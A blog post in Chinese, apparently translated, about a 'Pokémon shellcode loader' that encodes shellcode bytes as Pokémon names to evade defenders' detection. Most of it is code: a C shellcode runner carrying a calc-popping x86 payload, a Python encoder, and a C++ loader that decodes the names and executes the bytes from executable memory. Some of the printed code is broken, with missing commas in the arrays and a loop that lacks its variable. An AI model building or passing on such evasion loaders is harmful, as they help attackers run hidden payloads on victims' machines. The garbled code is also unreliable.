Pokémon Shellcode 載入器

夢幻的彼岸發表於2022-08-01

Pokémon Shellcode 載入器

厭倦了整天看著十六進位制和彈出'\x41'嗎?寧願去看Lugia/Charmander?我為你提供瞭解決方案。@Checkymander發來了一條推特,關於從Pokémon的名字中建立一個Shellcode 載入器。很有趣的專案,可以混淆藍隊,但沒有POC! (至少在我最後一次檢查時)


注#1 更新的程式碼將在我的GitHub上:https://github.com/Techryptic/Pokemon-Shellcode-Loader

注#2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode

注#3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader

讓我們載入一些指令

有多種方法可以做到這一點。如果我們看一下shellcode,它是一系列從0x00-0xFF的十六進位制,或以0-256的十進位制形式。我們可以選擇的Pokemon(口袋妖怪)剛好超過256個。

Pokémon Shellcode 載入器



從上面的Pokemon圖來看,我們可以把編號為001的BULBASAUR翻譯成0x01(去掉第一個0)。同樣地,CHARMANDER將用0x04表示,以此類推。lucky空位元組0x00可以對準Pokemon#257,BLAZIKEN!

將shellcode轉換為Pokemon-Shellcode很簡單。將Pokemon-Shellcode轉換為Assembly怎麼樣?我們想在.ASM內有一個陣列嗎?C程式碼?從外部把它下載下來?

根據這種思路往下走!

排列或不排列

我們需要資料。首先,我發現兩個區域同時包含Pokemon的編號和名稱:

https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6

還有一個只有Pokemon的名字。這可能更有用,因為我們可以在不攜帶長字串的情況下獲得特定Pokemon的陣列索引位置。

https://github.com/sindresorhus/pokemon/blob/main/data/en.json

基準是什麼?

我正在使用一個普通的POP CALC shellcode,並將其放入C語言程式碼中。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

#include <windows.h>

 

void main() {

    void* exec;

    BOOL rv;

    HANDLE th;

    DWORD oldprotect = 0;

    // Shellcode

    unsigned char payload[] =

        "\x50\x53\x51\x52\x56\x57\x55\x89"

        "\xe5\x83\xec\x18\x31\xf6\x56\x6a"

        "\x63\x66\x68\x78\x65\x68\x57\x69"

        "\x6e\x45\x89\x65\xfc\x31\xf6\x64"

        "\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"

        "\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"

        "\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"

        "\x01\xd8\x8b\x40\x78\x01\xd8\x8b"

        "\x48\x24\x01\xd9\x89\x4d\xf4\x8b"

        "\x78\x20\x01\xdf\x89\x7d\xf0\x8b"

        "\x50\x1c\x01\xda\x89\x55\xec\x8b"

        "\x58\x14\x31\xc0\x8b\x55\xf8\x8b"

        "\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"

        "\x8b\x3c\x87\x01\xd7\x66\x83\xc1"

        "\x08\xf3\xa6\x74\x0a\x40\x39\xd8"

        "\x72\xe5\x83\xc4\x26\xeb\x41\x8b"

        "\x4d\xf4\x89\xd3\x8b\x55\xec\x66"

        "\x8b\x04\x41\x8b\x04\x82\x01\xd8"

        "\x31\xd2\x52\x68\x2e\x65\x78\x65"

        "\x68\x63\x61\x6c\x63\x68\x6d\x33"

        "\x32\x5c\x68\x79\x73\x74\x65\x68"

        "\x77\x73\x5c\x53\x68\x69\x6e\x64"

        "\x6f\x68\x43\x3a\x5c\x57\x89\xe6"

        "\x6a\x0a\x56\xff\xd0\x83\xc4\x46"

        "\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";

    unsigned int payload_len = 205;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    RtlMoveMemory(exec, payload, payload_len);

    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);

    WaitForSingleObject(th, -1);

}

Pokémon Shellcode 載入器

不合格。它沒有做任何惡意的事情,但仍然……不合格。

Shellcode -> Pokemon_Shellcode

一個簡單的指令碼將一個shellcode位元組物件轉換為Pokémon Shellcode。

1

2

3

4

5

6

7

8

9

10

import json

 

shellcode = (b"\x41\x42\x20\x43")

 

#Do not edit below

PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]

Poke_Shellcode = []

for in shellcode:

    Poke_Shellcode.append(PokemonList[x])

print(json.dumps(Poke_Shellcode))

以上面的shellcode為例:

1

\x00\x31\xc0\x50\x68\x2f\x2F

轉換為:

Pokémon Shellcode 載入器

有趣的是:我想讓Pokemon的名字與它們的編號保持一致(BULBASAUR=#1,或0x01),因此需要用一些東西填充0x00/空位元組。有什麼比MISSINGNO更合適的呢?

Pokémon Shellcode 載入器

另一個問題是,Pokemon Farfetch'd有一個撇號,如下圖。簡單的解決方法就是把它去掉,然後叫它。Farfetchd

Pokémon Shellcode 載入器

最後,還有兩種Pokemon ,一旦你去掉符號,它們的名字就會相同,這兩種Pokemon 的修復方法是加一個F(代表女性),另一個加一個M(代表男性)。

Pokémon Shellcode 載入器

Pokémon Shellcode 載入器

Pokémon Shellcode 載入器

C++ 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

#include <iostream>

#include <string>

#include <Bits.h>

using namespace std;

 

// Created by: Techryptic

// @Tech

 

string indexNumberToHexa(int number);

void reverse_String(string& str, int last_index, int starting_index);

void printAscii(unsigned char* index_to_hexa_array, int counter_s);

 

int main()

{

    string poke_shellcode[] = { "Slowbro""Farfetchd""Magnemite""Magneton""Seel""Dewgong""Dodrio""Porygon""Houndoom""Lapras""Tyrogue""Arbok""Venomoth""Larvitar""Seel""Hitmonlee""Kingler""Exeggcute""Cubone""Staryu""Electrode""Cubone""Dewgong""Marowak""Weezing""Bellsprout""Porygon""Electrode""Treecko""Venomoth""Larvitar""Voltorb""Omastar""Gengar""Venonat""Omastar""Cloyster""Butterfree""Omastar""Cloyster""Raticate""Omastar""Sandshrew""Omastar""Sandshrew""Omastar""Cloyster""Pidgey""Porygon""Haunter""Tyranitar""Venomoth""Sunflora""Omastar""Machoke""Poliwag""Bulbasaur""Teddiursa""Omastar""Kadabra""Staryu""Bulbasaur""Teddiursa""Omastar""Tentacool""Clefable""Bulbasaur""Ursaring""Porygon""Ponyta""Entei""Omastar""Staryu""NidoranM""Bulbasaur""Remoraid""Porygon""Electabuzz""Magby""Omastar""Slowbro""Sandslash""Bulbasaur""Slugma""Porygon""Dodrio""Tyrogue""Omastar""Grimer""Raticate""Venomoth""Sunflora""Omastar""Dodrio""Tyranitar""Omastar""Electabuzz""Magby""Omastar""Seadra""Treecko""Venomoth""Unown""Treecko""Omastar""Poliwag""Jolteon""Bulbasaur""Sneasel""Exeggcute""Lapras""Yanma""Wartortle""Raikou""Ledian""Horsea""Caterpie""Kadabra""Primeape""Teddiursa""Tangela""Houndoom""Lapras""Espeon""Ninetales""Smeargle""Alakazam""Omastar""Ponyta""Entei""Porygon""Qwilfish""Omastar""Dodrio""Tyrogue""Exeggcute""Omastar""Charmander""Alakazam""Omastar""Charmander""Gyarados""Bulbasaur""Teddiursa""Venomoth""Granbull""Magneton""Cubone""Paras""Electrode""Staryu""Electrode""Cubone""Kingler""Hypno""Lickitung""Kingler""Cubone""Koffing""Dugtrio""Diglett""Gastly""Cubone""Starmie""Kangaskhan""Horsea""Electrode""Cubone""Seaking""Kangaskhan""Gastly""Farfetchd""Cubone""Marowak""Weezing""Voltorb""Rhyhorn""Cubone""Machoke""Growlithe""Gastly""Dewgong""Porygon""Kingdra""Hitmonlee""Caterpie""Seel""Torchic""Steelix""Lapras""Espeon""Weepinbell""Haunter""Onix""Gengar""Shellder""Muk""Cloyster""Grimer""Quagsire" };

 

    /// Do not edit below

    string pokemon[256] = { "Missingno""Bulbasaur""Ivysaur""Venusaur""Charmander""Charmeleon""Charizard""Squirtle""Wartortle""Blastoise""Caterpie""Metapod""Butterfree""Weedle""Kakuna""Beedrill""Pidgey""Pidgeotto""Pidgeot""Rattata""Raticate""Spearow""Fearow""Ekans""Arbok""Pikachu""Raichu""Sandshrew""Sandslash""NidoranF""Nidorina""Nidoqueen""NidoranM""Nidorino""Nidoking""Clefairy""Clefable""Vulpix""Ninetales""Jigglypuff""Wigglytuff""Zubat""Golbat""Oddish""Gloom""Vileplume""Paras""Parasect""Venonat""Venomoth""Diglett""Dugtrio""Meowth""Persian""Psyduck""Golduck""Mankey""Primeape""Growlithe""Arcanine""Poliwag""Poliwhirl""Poliwrath""Abra""Kadabra""Alakazam""Machop""Machoke""Machamp""Bellsprout""Weepinbell""Victreebel""Tentacool""Tentacruel""Geodude""Graveler""Golem""Ponyta""Rapidash""Slowpoke""Slowbro""Magnemite""Magneton""Farfetchd""Doduo""Dodrio""Seel""Dewgong""Grimer""Muk""Shellder""Cloyster""Gastly""Haunter""Gengar""Onix""Drowzee""Hypno""Krabby""Kingler""Voltorb""Electrode""Exeggcute""Exeggutor""Cubone""Marowak""Hitmonlee""Hitmonchan""Lickitung""Koffing""Weezing""Rhyhorn""Rhydon""Chansey""Tangela""Kangaskhan""Horsea""Seadra""Goldeen""Seaking""Staryu""Starmie""Mr. Mime""Scyther""Jynx""Electabuzz""Magmar""Pinsir""Tauros""Magikarp""Gyarados""Lapras""Ditto""Eevee""Vaporeon""Jolteon""Flareon""Porygon""Omanyte""Omastar""Kabuto""Kabutops""Aerodactyl""Snorlax""Articuno""Zapdos""Moltres""Dratini""Dragonair""Dragonite""Mewtwo""Mew""Chikorita""Bayleef""Meganium""Cyndaquil""Quilava""Typhlosion""Totodile""Croconaw""Feraligatr""Sentret""Furret""Hoothoot""Noctowl""Ledyba""Ledian""Spinarak""Ariados""Crobat""Chinchou""Lanturn""Pichu""Cleffa""Igglybuff""Togepi""Togetic""Natu""Xatu""Mareep""Flaaffy""Ampharos""Bellossom""Marill""Azumarill""Sudowoodo""Politoed""Hoppip""Skiploom""Jumpluff""Aipom""Sunkern""Sunflora""Yanma""Wooper""Quagsire""Espeon""Umbreon""Murkrow""Slowking""Misdreavus""Unown""Wobbuffet""Girafarig""Pineco""Forretress""Dunsparce""Gligar""Steelix""Snubbull""Granbull""Qwilfish""Scizor""Shuckle""Heracross""Sneasel""Teddiursa""Ursaring""Slugma""Magcargo""Swinub""Piloswine""Corsola""Remoraid""Octillery""Delibird""Mantine""Skarmory""Houndour""Houndoom""Kingdra""Phanpy""Donphan""Porygon2""Stantler""Smeargle""Tyrogue""Hitmontop""Smoochum""Elekid""Magby""Miltank""Blissey""Raikou""Entei""Suicune""Larvitar""Pupitar""Tyranitar""Lugia""Ho-Oh""Celebi""Treecko""Grovyle""Sceptile""Torchic" };

 

    int size1 = sizeof(pokemon) / sizeof(pokemon[0]);

    int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);

    //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the

    //assumtion that all poke_shellcode elements exist in pokemon

    int* index = new int[size2];

    int index_counter = 0;

    for (int i = 0; i < size2; i++) {                           //reading poke_shellcode element one by one

        for (int j = 0; j < size1; j++) {                       //reading pokemon element one by one

            if (poke_shellcode[i].compare(pokemon[j]) == 0) {   //both strings are equal

                index[index_counter] = j;                       //saving index

                index_counter++;

                break;                                          //stoping inner loop

            }

        }

    }

    //for storing hex values of indexes

    unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];

    int counter_s = 0;

    for (int i = 0; i < index_counter; i++) {

        string value = "";

        value += "\\x";

        if (index[i] < 10) {

            value += "0";

        }

        value += indexNumberToHexa(index[i]);  //converting each index to hexa and inserting in array

        for (int k = 0; k < (int)value.length(); k++) {

            index_to_hexa_array[counter_s] = value[k];

            counter_s++;

        }

    }

    std::string payload;

    index_to_hexa_array[counter_s] = '\0';

    printAscii(index_to_hexa_array, counter_s);

 

    delete[]index; //freeing memory

    delete[]index_to_hexa_array;

    index = nullptr;  //reseting the index pointer

    index_to_hexa_array = nullptr;

    return 0;

}

 

void reverse_String(string& str, int last_index, int starting_index) {

    if (last_index <= starting_index) { return; }

    swap(str[starting_index], str[last_index]);

    reverse_String(str, last_index - 1, starting_index + 1);

}

string indexNumberToHexa(int number) {

    string hexavalue = "";

    while (number != 0) {

        int remainder = number % 16;

        if (remainder < 10) {   //number 0-9

            hexavalue += remainder + 48;

        }

        else {//alphabet A-F

            hexavalue += remainder + 55; //converting number to alphabet

        }

        number = number / 16;

    }

    reverse_String(hexavalue, hexavalue.length() - 1, 0);

    return (hexavalue != "" ? hexavalue : "0");

}

void printAscii(unsigned char* index_to_hexa_array, int counter_s) {

    string sc;

    for (int i = 2; i < counter_s; i++) {

        if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters

            string vt; // hex ex: 01

            vt.push_back(index_to_hexa_array[i]);

            vt.push_back(index_to_hexa_array[i + 1]);

            //cout << (char)stoul(vt, nullptr, 16);

            unsigned char n = (char)stoul(vt, nullptr, 16);

            sc += n;

            i++;

        }

    }

    sc += '\0'// adding nullbyte to string to mimic array

    //std::cout << "The size is " << sc.size() << " bytes.\n";

    DWORD oldprotect = 0;

    void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, sc.c_str(), sc.size());

    ((void(*)())exec)();

}

總結

Pokémon Shellcode 載入器

這,就是結論。同樣的程式碼,但使用Pokemon產生的結果比我想象的要好得多。

最後,這仍然是一場紅與藍之間的對抗

Pokémon Shellcode 載入器


相關文章